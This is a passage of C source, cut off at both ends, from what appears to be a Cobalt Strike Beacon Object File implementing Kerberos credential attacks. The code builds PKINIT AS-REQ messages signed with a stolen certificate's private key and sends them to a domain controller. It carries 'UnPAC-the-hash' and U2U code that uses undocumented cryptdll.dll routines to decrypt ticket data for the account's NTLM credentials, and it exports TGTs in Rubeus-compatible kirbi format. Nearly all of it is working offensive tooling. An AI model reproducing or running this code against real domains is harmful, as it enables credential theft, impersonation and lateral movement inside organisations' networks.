nonceTagLen;\n    BYTE* nonceTag = BuildContextTag(2, nonceInt, nonceLen, &nonceTagLen);\n    memcpy(content + offset, nonceTag, nonceTagLen);\n    offset += nonceTagLen;\n    free(nonceInt);\n    free(nonceTag);\n\n    /* paChecksum [3] OCTET STRING (SHA-1 of req-body) */\n    if (paChecksum != NULL && paChecksumLen > 0) {\n        int checksumOctetLen;\n        BYTE* checksumOctet = BuildOctetString(paChecksum, paChecksumLen, &checksumOctetLen);\n        int checksumTagLen;\n        BYTE* checksumTag = BuildContextTag(3, checksumOctet, checksumOctetLen, &checksumTagLen);\n        memcpy(content + offset, checksumTag, checksumTagLen);\n        offset += checksumTagLen;\n        free(checksumOctet);\n        free(checksumTag);\n    }\n\n    BYTE* result = BuildSequence(content, offset, outLen);\n    free(content);\n    return result;\n}\n\nstatic BYTE* BuildAuthPack(const char* user, const char* realm,\n                           BYTE* paChecksum, int paChecksumLen, int* outLen) {\n    BYTE* content = (BYTE*)malloc(2048);\n    int offset = 0;\n\n    /* pkAuthenticator [0] PKAuthenticator */\n    int pkAuthLen;\n    BYTE* pkAuth = BuildPKAuthenticator(user, realm, paChecksum, paChecksumLen, &pkAuthLen);\n    int pkAuthTagLen;\n    BYTE* pkAuthTag = BuildContextTag(0, pkAuth, pkAuthLen, &pkAuthTagLen);\n    memcpy(content + offset, pkAuthTag, pkAuthTagLen);\n    offset += pkAuthTagLen;\n    free(pkAuth);\n    free(pkAuthTag);\n\n    /* clientPublicValue [1] SubjectPublicKeyInfo (for DH) */\n    int dhPubKeyInfoLen;\n    BYTE* dhPubKeyInfo = BuildDhSubjectPublicKeyInfo(&dhPubKeyInfoLen);\n    int dhPubKeyTagLen;\n    BYTE* dhPubKeyTag = BuildContextTag(1, dhPubKeyInfo, dhPubKeyInfoLen, &dhPubKeyTagLen);\n    memcpy(content + offset, dhPubKeyTag, dhPubKeyTagLen);\n    offset += dhPubKeyTagLen;\n    free(dhPubKeyInfo);\n    free(dhPubKeyTag);\n\n    BYTE* result = BuildSequence(content, offset, outLen);\n    free(content);\n    return result;\n}\n\n/*\n * =============================================================================\n * PKINIT - CMS SignedData Construction\n * =============================================================================\n */\n\nstatic BYTE* BuildCmsSignedData(PCCERT_CONTEXT pCert, BYTE* content, int contentLen, int* outLen) {\n    /*\n     * Build CMS SignedData using Windows CryptoMsg API\n     * Uses CryptMsgOpenToEncode with id-pkinit-authData OID\n     */\n    #define szOID_PKINIT_AUTHDATA_STR \"1.3.6.1.5.2.3.1\"\n\n    HCRYPTPROV hProv = 0;\n    DWORD keySpec = 0;\n    BOOL fCallerFree = FALSE;\n    HCRYPTMSG hMsg = NULL;\n    BYTE* signedMsg = NULL;\n    DWORD signedMsgLen = 0;\n    CMSG_SIGNER_ENCODE_INFO signerInfo;\n    CMSG_SIGNED_ENCODE_INFO signedInfo;\n    CERT_BLOB certBlob;\n\n    *outLen = 0;\n\n    if (!CryptAcquireCertificatePrivateKey(pCert, 0, NULL, &hProv, &keySpec, &fCallerFree)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to acquire private key: 0x%08X\", GetLastError());\n        return NULL;\n    }\n\n    memset(&signerInfo, 0, sizeof(signerInfo));\n    signerInfo.cbSize = sizeof(signerInfo);\n    signerInfo.pCertInfo = pCert->pCertInfo;\n    signerInfo.hCryptProv = hProv;\n    signerInfo.dwKeySpec = keySpec;\n    signerInfo.HashAlgorithm.pszObjId = (LPSTR)szOID_RSA_SHA1RSA;\n\n    certBlob.cbData = pCert->cbCertEncoded;\n    certBlob.pbData = pCert->pbCertEncoded;\n\n    memset(&signedInfo, 0, sizeof(signedInfo));\n    signedInfo.cbSize = sizeof(signedInfo);\n    signedInfo.cSigners = 1;\n    signedInfo.rgSigners = &signerInfo;\n    signedInfo.cCertEncoded = 1;\n    signedInfo.rgCertEncoded = &certBlob;\n\n    hMsg = CryptMsgOpenToEncode(\n        PKCS_7_ASN_ENCODING | X509_ASN_ENCODING,\n        0,\n        CMSG_SIGNED,\n        &signedInfo,\n        szOID_PKINIT_AUTHDATA_STR,\n        NULL\n    );\n\n    if (!hMsg) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CryptMsgOpenToEncode failed: 0x%08X\", GetLastError());\n        goto cleanup;\n    }\n\n    if (!CryptMsgUpdate(hMsg, content, contentLen, TRUE)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CryptMsgUpdate failed: 0x%08X\", GetLastError());\n        goto cleanup;\n    }\n\n    if (!CryptMsgGetParam(hMsg, CMSG_CONTENT_PARAM, 0, NULL, &signedMsgLen)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CryptMsgGetParam size failed: 0x%08X\", GetLastError());\n        goto cleanup;\n    }\n\n    signedMsg = (BYTE*)malloc(signedMsgLen);\n    if (!CryptMsgGetParam(hMsg, CMSG_CONTENT_PARAM, 0, signedMsg, &signedMsgLen)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CryptMsgGetParam failed: 0x%08X\", GetLastError());\n        free(signedMsg);\n        signedMsg = NULL;\n        goto cleanup;\n    }\n\n    *outLen = signedMsgLen;\n\ncleanup:\n    if (hMsg) CryptMsgClose(hMsg);\n    if (fCallerFree && hProv) CryptReleaseContext(hProv, 0);\n    return signedMsg;\n}\n\n/*\n * =============================================================================\n * PKINIT - PA-PK-AS-REQ Construction\n * =============================================================================\n */\n\nstatic BYTE* BuildPaPkAsReq(PCCERT_CONTEXT pCert, BYTE* authPack, int authPackLen, int* outLen) {\n    /* Build CMS SignedData containing AuthPack */\n    int signedDataLen;\n    BYTE* signedData = BuildCmsSignedData(pCert, authPack, authPackLen, &signedDataLen);\n\n    if (signedData == NULL) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to build CMS SignedData\");\n        return NULL;\n    }\n\n    /* PA-PK-AS-REQ ::= SEQUENCE {\n     *   signedAuthPack [0] IMPLICIT OCTET STRING\n     * }\n     */\n    BYTE* content = (BYTE*)malloc(8192);\n    int offset = 0;\n\n    /* [0] IMPLICIT - use context tag 0x80 for primitive or 0xA0 for constructed */\n    content[offset++] = 0x80; /* [0] IMPLICIT primitive */\n    int lenSize = EncodeLength(content + offset, signedDataLen);\n    offset += lenSize;\n    memcpy(content + offset, signedData, signedDataLen);\n    offset += signedDataLen;\n    free(signedData);\n\n    BYTE* result = BuildSequence(content, offset, outLen);\n    free(content);\n    return result;\n}\n\n/*\n * =============================================================================\n * PKINIT - Full AS-REQ Construction\n * =============================================================================\n */\n\nstatic BYTE* BuildPkinitAsReq(PCCERT_CONTEXT pCert, const char* user, const char* domain, int* outLen) {\n    char* realm = (char*)malloc(256);\n    BYTE* padataContent = (BYTE*)malloc(8192);\n    BYTE* asReqContent = (BYTE*)malloc(16384);\n    BYTE* result = NULL;\n    int i;\n\n    /* Convert domain to uppercase for realm */\n    for (i = 0; domain[i] && i < 255; i++) {\n        realm[i] = (domain[i] >= 'a' && domain[i] <= 'z') ? domain[i] - 32 : domain[i];\n    }\n    realm[i] = '\\0';\n\n    /* Build req-body first (needed for paChecksum) */\n    int reqBodyLen;\n    BYTE* reqBody = BuildKdcReqBody(user, realm, &reqBodyLen);\n\n    /* Calculate SHA-1 of req-body for paChecksum */\n    HCRYPTPROV hProv;\n    HCRYPTHASH hHash;\n    BYTE paChecksum[20];\n    DWORD hashLen = 20;\n\n    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CryptAcquireContext failed\");\n        free(reqBody);\n        goto cleanup;\n    }\n\n    /* Generate DH keys */\n    GenerateDHKeys(hProv);\n\n    CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash);\n    CryptHashData(hHash, reqBody, reqBodyLen, 0);\n    CryptGetHashParam(hHash, HP_HASHVAL, paChecksum, &hashLen, 0);\n    CryptDestroyHash(hHash);\n    CryptReleaseContext(hProv, 0);\n\n    /* Build AuthPack */\n    int authPackLen;\n    BYTE* authPack = BuildAuthPack(user, realm, paChecksum, 20, &authPackLen);\n\n    /* Build PA-PK-AS-REQ */\n    int paPkAsReqLen;\n    BYTE* paPkAsReq = BuildPaPkAsReq(pCert, authPack, authPackLen, &paPkAsReqLen);\n    free(authPack);\n\n    if (paPkAsReq == NULL) {\n        free(reqBody);\n        goto cleanup;\n    }\n\n    /* Build PA-DATA for PKINIT */\n    int padataOffset = 0;\n\n    /* padata-type [1] INTEGER (16 = PA-PK-AS-REQ) */\n    int paTypeLen;\n    BYTE* paTypeInt = BuildInteger(PA_PK_AS_REQ, &paTypeLen);\n    int paTypeTagLen;\n    BYTE* paTypeTag = BuildContextTag(1, paTypeInt, paTypeLen, &paTypeTagLen);\n    memcpy(padataContent + padataOffset, paTypeTag, paTypeTagLen);\n    padataOffset += paTypeTagLen;\n    free(paTypeInt);\n    free(paTypeTag);\n\n    /* padata-value [2] OCTET STRING */\n    int paValueOctetLen;\n    BYTE* paValueOctet = BuildOctetString(paPkAsReq, paPkAsReqLen, &paValueOctetLen);\n    int paValueTagLen;\n    BYTE* paValueTag = BuildContextTag(2, paValueOctet, paValueOctetLen, &paValueTagLen);\n    memcpy(padataContent + padataOffset, paValueTag, paValueTagLen);\n    padataOffset += paValueTagLen;\n    free(paValueOctet);\n    free(paValueTag);\n    free(paPkAsReq);\n\n    int padataSeqLen;\n    BYTE* padataSeq = BuildSequence(padataContent, padataOffset, &padataSeqLen);\n\n    /* Build AS-REQ */\n    int asReqOffset = 0;\n\n    /* pvno [1] INTEGER (5) */\n    int pvnoLen;\n    BYTE* pvnoInt = BuildInteger(5, &pvnoLen);\n    int pvnoTagLen;\n    BYTE* pvnoTag = BuildContextTag(1, pvnoInt, pvnoLen, &pvnoTagLen);\n    memcpy(asReqContent + asReqOffset, pvnoTag, pvnoTagLen);\n    asReqOffset += pvnoTagLen;\n    free(pvnoInt);\n    free(pvnoTag);\n\n    /* msg-type [2] INTEGER (10 = AS-REQ) */\n    int msgTypeLen;\n    BYTE* msgTypeInt = BuildInteger(KRB_AS_REQ, &msgTypeLen);\n    int msgTypeTagLen;\n    BYTE* msgTypeTag = BuildContextTag(2, msgTypeInt, msgTypeLen, &msgTypeTagLen);\n    memcpy(asReqContent + asReqOffset, msgTypeTag, msgTypeTagLen);\n    asReqOffset += msgTypeTagLen;\n    free(msgTypeInt);\n    free(msgTypeTag);\n\n    /* padata [3] SEQUENCE OF PA-DATA */\n    int padataOuterSeqLen;\n    BYTE* padataOuterSeq = BuildSequence(padataSeq, padataSeqLen, &padataOuterSeqLen);\n    int padataOuterTagLen;\n    BYTE* padataOuterTag = BuildContextTag(3, padataOuterSeq, padataOuterSeqLen, &padataOuterTagLen);\n    memcpy(asReqContent + asReqOffset, padataOuterTag, padataOuterTagLen);\n    asReqOffset += padataOuterTagLen;\n    free(padataSeq);\n    free(padataOuterSeq);\n    free(padataOuterTag);\n\n    /* req-body [4] KDC-REQ-BODY */\n    int reqBodyTagLen;\n    BYTE* reqBodyTag = BuildContextTag(4, reqBody, reqBodyLen, &reqBodyTagLen);\n    memcpy(asReqContent + asReqOffset, reqBodyTag, reqBodyTagLen);\n    asReqOffset += reqBodyTagLen;\n    free(reqBody);\n    free(reqBodyTag);\n\n    /* Wrap in SEQUENCE */\n    int asReqSeqLen;\n    BYTE* asReqSeq = BuildSequence(asReqContent, asReqOffset, &asReqSeqLen);\n\n    /* Wrap in APPLICATION 10 (AS-REQ) */\n    result = BuildApplication(KRB_AS_REQ, asReqSeq, asReqSeqLen, outLen);\n    free(asReqSeq);\n\ncleanup:\n    free(realm);\n    free(padataContent);\n    free(asReqContent);\n    return result;\n}\n\n/*\n * =============================================================================\n * Network - Send to KDC\n * =============================================================================\n */\n\nstatic BYTE* SendToKdc(const char* kdcHost, int port, BYTE* data, int dataLen, int* respLen) {\n    WSADATA wsaData;\n    SOCKET sock = INVALID_SOCKET;\n    struct sockaddr_in server;\n    struct hostent* host;\n    BYTE* response = NULL;\n    BYTE lengthPrefix[4];\n    DWORD totalLen;\n\n    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] WSAStartup failed\");\n        return NULL;\n    }\n\n    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n    if (sock == INVALID_SOCKET) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Socket creation failed\");\n        WSACleanup();\n        return NULL;\n    }\n\n    /* Resolve hostname */\n    host = gethostbyname(kdcHost);\n    if (!host) {\n        server.sin_addr.s_addr = inet_addr(kdcHost);\n        if (server.sin_addr.s_addr == INADDR_NONE) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to resolve %s\", kdcHost);\n            closesocket(sock);\n            WSACleanup();\n            return NULL;\n        }\n    } else {\n        memcpy(&server.sin_addr, host->h_addr_list[0], host->h_length);\n    }\n    server.sin_family = AF_INET;\n    server.sin_port = htons((unsigned short)port);\n\n    if (connect(sock, (struct sockaddr*)&server, sizeof(server)) < 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Connection failed\");\n        closesocket(sock);\n        WSACleanup();\n        return NULL;\n    }\n\n    /* Send with 4-byte length prefix (big-endian) */\n    totalLen = htonl(dataLen);\n    memcpy(lengthPrefix, &totalLen, 4);\n    send(sock, (char*)lengthPrefix, 4, 0);\n    send(sock, (char*)data, dataLen, 0);\n\n    /* Receive response length */\n    if (recv(sock, (char*)lengthPrefix, 4, 0) != 4) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to receive response length\");\n        closesocket(sock);\n        WSACleanup();\n        return NULL;\n    }\n\n    memcpy(&totalLen, lengthPrefix, 4);\n    *respLen = ntohl(totalLen);\n\n    if (*respLen <= 0 || *respLen > 100000) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Invalid response length: %d\", *respLen);\n        closesocket(sock);\n        WSACleanup();\n        return NULL;\n    }\n\n    /* Receive response */\n    response = (BYTE*)malloc(*respLen);\n    int received = 0;\n    while (received < *respLen) {\n        int r = recv(sock, (char*)response + received, *respLen - received, 0);\n        if (r <= 0) break;\n        received += r;\n    }\n\n    closesocket(sock);\n    WSACleanup();\n\n    return response;\n}\n\n/*\n * =============================================================================\n * UnPAC-the-hash - Kerberos Decryption\n * =============================================================================\n */\n\nstatic BYTE* KerberosDecrypt(int eType, int keyUsage, BYTE* key, int keyLen,\n                              BYTE* data, int dataLen, int* outLen) {\n    HMODULE hCryptDll = NULL;\n    CDLocateCSystem_t pCDLocateCSystem = NULL;\n    KERB_ECRYPT* pCSystem = NULL;\n    void* pContext = NULL;\n    BYTE* output = NULL;\n    int status;\n\n    hCryptDll = LoadLibraryA(\"cryptdll.dll\");\n    if (!hCryptDll) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to load cryptdll.dll\");\n        return NULL;\n    }\n\n    pCDLocateCSystem = (CDLocateCSystem_t)GetProcAddress(hCryptDll, \"CDLocateCSystem\");\n    if (!pCDLocateCSystem) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to find CDLocateCSystem\");\n        FreeLibrary(hCryptDll);\n        return NULL;\n    }\n\n    status = pCDLocateCSystem(eType, (void**)&pCSystem);\n    if (status != 0 || !pCSystem) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CDLocateCSystem failed: 0x%X\", status);\n        FreeLibrary(hCryptDll);\n        return NULL;\n    }\n\n    /* Get function pointers from KERB_ECRYPT structure */\n    KERB_ECRYPT_Initialize initFunc = (KERB_ECRYPT_Initialize)pCSystem->Initialize;\n    KERB_ECRYPT_Decrypt decryptFunc = (KERB_ECRYPT_Decrypt)pCSystem->Decrypt;\n    KERB_ECRYPT_Finish finishFunc = (KERB_ECRYPT_Finish)pCSystem->Finish;\n\n    /* Initialize decryption context */\n    status = initFunc(key, keyLen, keyUsage, &pContext);\n    if (status != 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Decrypt Initialize failed: 0x%X\", status);\n        FreeLibrary(hCryptDll);\n        return NULL;\n    }\n\n    /* Calculate output size */\n    int outputSize = dataLen;\n    if (dataLen % pCSystem->BlockSize != 0) {\n        outputSize += pCSystem->BlockSize - (dataLen % pCSystem->BlockSize);\n    }\n    outputSize += pCSystem->Size;\n\n    output = (BYTE*)malloc(outputSize);\n\n    /* Decrypt */\n    status = decryptFunc(pContext, data, dataLen, output, &outputSize);\n    finishFunc(&pContext);\n\n    if (status != 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Decrypt failed: 0x%X\", status);\n        free(output);\n        FreeLibrary(hCryptDll);\n        return NULL;\n    }\n\n    *outLen = outputSize;\n    FreeLibrary(hCryptDll);\n    return output;\n}\n\n/*\n * =============================================================================\n * U2U - Kerberos Encryption\n * =============================================================================\n */\n\ntypedef int (WINAPI *KERB_ECRYPT_Encrypt)(void* pContext, BYTE* data, int dataSize, BYTE* output, int* outputSize);\n\nstatic BYTE* KerberosEncrypt(int eType, int keyUsage, BYTE* key, int keyLen,\n                              BYTE* data, int dataLen, int* outLen) {\n    HMODULE hCryptDll = NULL;\n    CDLocateCSystem_t pCDLocateCSystem = NULL;\n    KERB_ECRYPT* pCSystem = NULL;\n    void* pContext = NULL;\n    BYTE* output = NULL;\n    int status;\n\n    hCryptDll = LoadLibraryA(\"cryptdll.dll\");\n    if (!hCryptDll) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to load cryptdll.dll for encrypt\");\n        return NULL;\n    }\n\n    pCDLocateCSystem = (CDLocateCSystem_t)GetProcAddress(hCryptDll, \"CDLocateCSystem\");\n    if (!pCDLocateCSystem) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to find CDLocateCSystem\");\n        FreeLibrary(hCryptDll);\n        return NULL;\n    }\n\n    status = pCDLocateCSystem(eType, (void**)&pCSystem);\n    if (status != 0 || !pCSystem) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CDLocateCSystem failed for encrypt: 0x%X\", status);\n        FreeLibrary(hCryptDll);\n        return NULL;\n    }\n\n    /* Get function pointers */\n    KERB_ECRYPT_Initialize initFunc = (KERB_ECRYPT_Initialize)pCSystem->Initialize;\n    KERB_ECRYPT_Encrypt encryptFunc = (KERB_ECRYPT_Encrypt)pCSystem->Encrypt;\n    KERB_ECRYPT_Finish finishFunc = (KERB_ECRYPT_Finish)pCSystem->Finish;\n\n    /* Initialize encryption context */\n    status = initFunc(key, keyLen, keyUsage, &pContext);\n    if (status != 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Encrypt Initialize failed: 0x%X\", status);\n        FreeLibrary(hCryptDll);\n        return NULL;\n    }\n\n    /* Output size = data + checksum + confounder overhead */\n    int outputSize = dataLen + pCSystem->Size;\n    output = (BYTE*)malloc(outputSize);\n\n    /* Encrypt */\n    status = encryptFunc(pContext, data, dataLen, output, &outputSize);\n    finishFunc(&pContext);\n\n    if (status != 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Encrypt failed: 0x%X\", status);\n        free(output);\n        FreeLibrary(hCryptDll);\n        return NULL;\n    }\n\n    *outLen = outputSize;\n    FreeLibrary(hCryptDll);\n    return output;\n}\n\n/*\n * =============================================================================\n * U2U - Kerberos Checksum (HMAC-SHA1-96-AES256)\n * =============================================================================\n */\n\ntypedef struct _KERB_CHECKSUM {\n    int Type;\n    int Size;\n    int Flag;\n    void* Initialize;\n    void* Sum;\n    void* Finalize;\n    void* Finish;\n    void* InitializeEx;\n    void* InitializeEx2;\n} KERB_CHECKSUM;\n\ntypedef int (WINAPI *KERB_CHECKSUM_InitializeEx)(BYTE* key, int keySize, int keyUsage, void** pContext);\ntypedef int (WINAPI *KERB_CHECKSUM_Sum)(void* pContext, int dataSize, BYTE* data);\ntypedef int (WINAPI *KERB_CHECKSUM_Finalize)(void* pContext, BYTE* output);\ntypedef int (WINAPI *KERB_CHECKSUM_Finish)(void** pContext);\n\n#define KERB_CHECKSUM_HMAC_SHA1_96_AES256 16\n\nstatic BYTE* ComputeKerberosChecksum(BYTE* key, int keyLen, BYTE* data, int dataLen, int keyUsage, int* checksumLen) {\n    HMODULE hCryptDll = NULL;\n    CDLocateCheckSum_t pCDLocateCheckSum = NULL;\n    KERB_CHECKSUM* pCheckSum = NULL;\n    void* pContext = NULL;\n    BYTE* output = NULL;\n    int status;\n\n    hCryptDll = LoadLibraryA(\"cryptdll.dll\");\n    if (!hCryptDll) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to load cryptdll.dll for checksum\");\n        return NULL;\n    }\n\n    pCDLocateCheckSum = (CDLocateCheckSum_t)GetProcAddress(hCryptDll, \"CDLocateCheckSum\");\n    if (!pCDLocateCheckSum) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to find CDLocateCheckSum\");\n        FreeLibrary(hCryptDll);\n        return NULL;\n    }\n\n    status = pCDLocateCheckSum(KERB_CHECKSUM_HMAC_SHA1_96_AES256, (void**)&pCheckSum);\n    if (status != 0 || !pCheckSum) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CDLocateCheckSum failed: 0x%X\", status);\n        FreeLibrary(hCryptDll);\n        return NULL;\n    }\n\n    /* Get function pointers */\n    KERB_CHECKSUM_InitializeEx initExFunc = (KERB_CHECKSUM_InitializeEx)pCheckSum->InitializeEx;\n    KERB_CHECKSUM_Sum sumFunc = (KERB_CHECKSUM_Sum)pCheckSum->Sum;\n    KERB_CHECKSUM_Finalize finalizeFunc = (KERB_CHECKSUM_Finalize)pCheckSum->Finalize;\n    KERB_CHECKSUM_Finish finishFunc = (KERB_CHECKSUM_Finish)pCheckSum->Finish;\n\n    /* Initialize with key */\n    status = initExFunc(key, keyLen, keyUsage, &pContext);\n    if (status != 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Checksum InitializeEx failed: 0x%X\", status);\n        FreeLibrary(hCryptDll);\n        return NULL;\n    }\n\n    /* Sum the data */\n    status = sumFunc(pContext, dataLen, data);\n    if (status != 0) {\n        finishFunc(&pContext);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Checksum Sum failed: 0x%X\", status);\n        FreeLibrary(hCryptDll);\n        return NULL;\n    }\n\n    /* Finalize */\n    *checksumLen = pCheckSum->Size;\n    output = (BYTE*)malloc(*checksumLen);\n    status = finalizeFunc(pContext, output);\n    finishFunc(&pContext);\n\n    if (status != 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Checksum Finalize failed: 0x%X\", status);\n        free(output);\n        FreeLibrary(hCryptDll);\n        return NULL;\n    }\n\n    FreeLibrary(hCryptDll);\n    return output;\n}\n\n/*\n * =============================================================================\n * U2U - Forward Declarations\n * =============================================================================\n */\n\n/* Forward declarations for functions defined later */\nstatic BYTE* ExtractPacFromAuthData(BYTE* authData, int authDataLen, int* pacLen);\nstatic const char* GetKrbErrorDesc(int code);\nstatic void ParsePacCredentialData(BYTE* data, int dataLen);\n\n/*\n * =============================================================================\n * KRB-CRED (kirbi) Builder - Rubeus compatible output\n * =============================================================================\n */\n\nstatic void OutputKirbi(BYTE* ticket, int ticketLen, BYTE* sessionKey, int sessionKeyLen,\n                        int encType, const char* user, const char* realm) {\n    /*\n     * Build minimal KRB-CRED structure for TGT export\n     * KRB-CRED ::= [APPLICATION 22] SEQUENCE {\n     *   pvno [0] INTEGER (5),\n     *   msg-type [1] INTEGER (22),\n     *   tickets [2] SEQUENCE OF Ticket,\n     *   enc-part [3] EncryptedData { etype 0, cipher: EncKrbCredPart }\n     * }\n     */\n    BYTE* kirbi = (BYTE*)malloc(ticketLen + sessionKeyLen + 1024);\n    int kOffset = 0;\n    int i;\n    char* b64 = NULL;\n    DWORD b64Len = 0;\n\n    /* Build KrbCredInfo */\n    BYTE* credInfo = (BYTE*)malloc(sessionKeyLen + 512);\n    int ciOffset = 0;\n\n    /* key [0] EncryptionKey { etype [0], keyvalue [1] } */\n    BYTE keyContent[64];\n    int keyOffset = 0;\n    /* etype */\n    keyContent[keyOffset++] = 0xA0;\n    keyContent[keyOffset++] = 0x03;\n    keyContent[keyOffset++] = 0x02;\n    keyContent[keyOffset++] = 0x01;\n    keyContent[keyOffset++] = (BYTE)encType;\n    /* keyvalue */\n    keyContent[keyOffset++] = 0xA1;\n    keyContent[keyOffset++] = (BYTE)(sessionKeyLen + 2);\n    keyContent[keyOffset++] = 0x04;\n    keyContent[keyOffset++] = (BYTE)sessionKeyLen;\n    memcpy(keyContent + keyOffset, sessionKey, sessionKeyLen);\n    keyOffset += sessionKeyLen;\n\n    credInfo[ciOffset++] = 0xA0; /* [0] key */\n    credInfo[ciOffset++] = (BYTE)(keyOffset + 2);\n    credInfo[ciOffset++] = 0x30;\n    credInfo[ciOffset++] = (BYTE)keyOffset;\n    memcpy(credInfo + ciOffset, keyContent, keyOffset);\n    ciOffset += keyOffset;\n\n    /* prealm [1] */\n    int realmLen = (int)strlen(realm);\n    credInfo[ciOffset++] = 0xA1;\n    credInfo[ciOffset++] = (BYTE)(realmLen + 2);\n    credInfo[ciOffset++] = 0x1B; /* GeneralString */\n    credInfo[ciOffset++] = (BYTE)realmLen;\n    memcpy(credInfo + ciOffset, realm, realmLen);\n    ciOffset += realmLen;\n\n    /* pname [2] PrincipalName { name-type [0] = 1, name-string [1] } */\n    int userLen = (int)strlen(user);\n    BYTE pnameContent[128];\n    int pnOffset = 0;\n    pnameContent[pnOffset++] = 0xA0;\n    pnameContent[pnOffset++] = 0x03;\n    pnameContent[pnOffset++] = 0x02;\n    pnameContent[pnOffset++] = 0x01;\n    pnameContent[pnOffset++] = 0x01; /* NT-PRINCIPAL */\n    pnameContent[pnOffset++] = 0xA1;\n    pnameContent[pnOffset++] = (BYTE)(userLen + 4);\n    pnameContent[pnOffset++] = 0x30;\n    pnameContent[pnOffset++] = (BYTE)(userLen + 2);\n    pnameContent[pnOffset++] = 0x1B;\n    pnameContent[pnOffset++] = (BYTE)userLen;\n    memcpy(pnameContent + pnOffset, user, userLen);\n    pnOffset += userLen;\n\n    credInfo[ciOffset++] = 0xA2;\n    credInfo[ciOffset++] = (BYTE)(pnOffset + 2);\n    credInfo[ciOffset++] = 0x30;\n    credInfo[ciOffset++] = (BYTE)pnOffset;\n    memcpy(credInfo + ciOffset, pnameContent, pnOffset);\n    ciOffset += pnOffset;\n\n    /* srealm [8] */\n    credInfo[ciOffset++] = 0xA8;\n    credInfo[ciOffset++] = (BYTE)(realmLen + 2);\n    credInfo[ciOffset++] = 0x1B;\n    credInfo[ciOffset++] = (BYTE)realmLen;\n    memcpy(credInfo + ciOffset, realm, realmLen);\n    ciOffset += realmLen;\n\n    /* sname [9] krbtgt/REALM */\n    BYTE snameContent[128];\n    int snOffset = 0;\n    snameContent[snOffset++] = 0xA0;\n    snameContent[snOffset++] = 0x03;\n    snameContent[snOffset++] = 0x02;\n    snameContent[snOffset++] = 0x01;\n    snameContent[snOffset++] = 0x02; /* NT-SRV-INST */\n    snameContent[snOffset++] = 0xA1;\n    snameContent[snOffset++] = (BYTE)(6 + 2 + realmLen + 2 + 2);\n    snameContent[snOffset++] = 0x30;\n    snameContent[snOffset++] = (BYTE)(6 + 2 + realmLen + 2);\n    snameContent[snOffset++] = 0x1B;\n    snameContent[snOffset++] = 0x06;\n    memcpy(snameContent + snOffset, \"krbtgt\", 6);\n    snOffset += 6;\n    snameContent[snOffset++] = 0x1B;\n    snameContent[snOffset++] = (BYTE)realmLen;\n    memcpy(snameContent + snOffset, realm, realmLen);\n    snOffset += realmLen;\n\n    credInfo[ciOffset++] = 0xA9;\n    credInfo[ciOffset++] = (BYTE)(snOffset + 2);\n    credInfo[ciOffset++] = 0x30;\n    credInfo[ciOffset++] = (BYTE)snOffset;\n    memcpy(credInfo + ciOffset, snameContent, snOffset);\n    ciOffset += snOffset;\n\n    /* Build EncKrbCredPart [APPLICATION 29] */\n    BYTE* encCredPart = (BYTE*)malloc(ciOffset + 64);\n    int ecpOffset = 0;\n    /* ticket-info [0] SEQUENCE OF KrbCredInfo */\n    encCredPart[ecpOffset++] = 0xA0;\n    int seqLen = ciOffset + 2;\n    if (seqLen < 128) {\n        encCredPart[ecpOffset++] = (BYTE)seqLen;\n    } else {\n        encCredPart[ecpOffset++] = 0x82;\n        encCredPart[ecpOffset++] = (BYTE)(seqLen >> 8);\n        encCredPart[ecpOffset++] = (BYTE)(seqLen & 0xFF);\n    }\n    encCredPart[ecpOffset++] = 0x30; /* SEQUENCE OF */\n    if (ciOffset < 128) {\n        encCredPart[ecpOffset++] = (BYTE)ciOffset;\n    } else {\n        encCredPart[ecpOffset++] = 0x82;\n        encCredPart[ecpOffset++] = (BYTE)(ciOffset >> 8);\n        encCredPart[ecpOffset++] = (BYTE)(ciOffset & 0xFF);\n    }\n    /* KrbCredInfo SEQUENCE */\n    int credInfoSeqOffset = ecpOffset;\n    encCredPart[ecpOffset++] = 0x30;\n    if (ciOffset < 128) {\n        encCredPart[ecpOffset++] = (BYTE)ciOffset;\n    } else {\n        encCredPart[ecpOffset++] = 0x82;\n        encCredPart[ecpOffset++] = (BYTE)(ciOffset >> 8);\n        encCredPart[ecpOffset++] = (BYTE)(ciOffset & 0xFF);\n    }\n    memcpy(encCredPart + ecpOffset, credInfo, ciOffset);\n    ecpOffset += ciOffset;\n\n    /* Wrap in [APPLICATION 29] */\n    BYTE* app29 = (BYTE*)malloc(ecpOffset + 8);\n    int a29Offset = 0;\n    app29[a29Offset++] = 0x7D; /* [APPLICATION 29] */\n    if (ecpOffset + 2 < 128) {\n        app29[a29Offset++] = 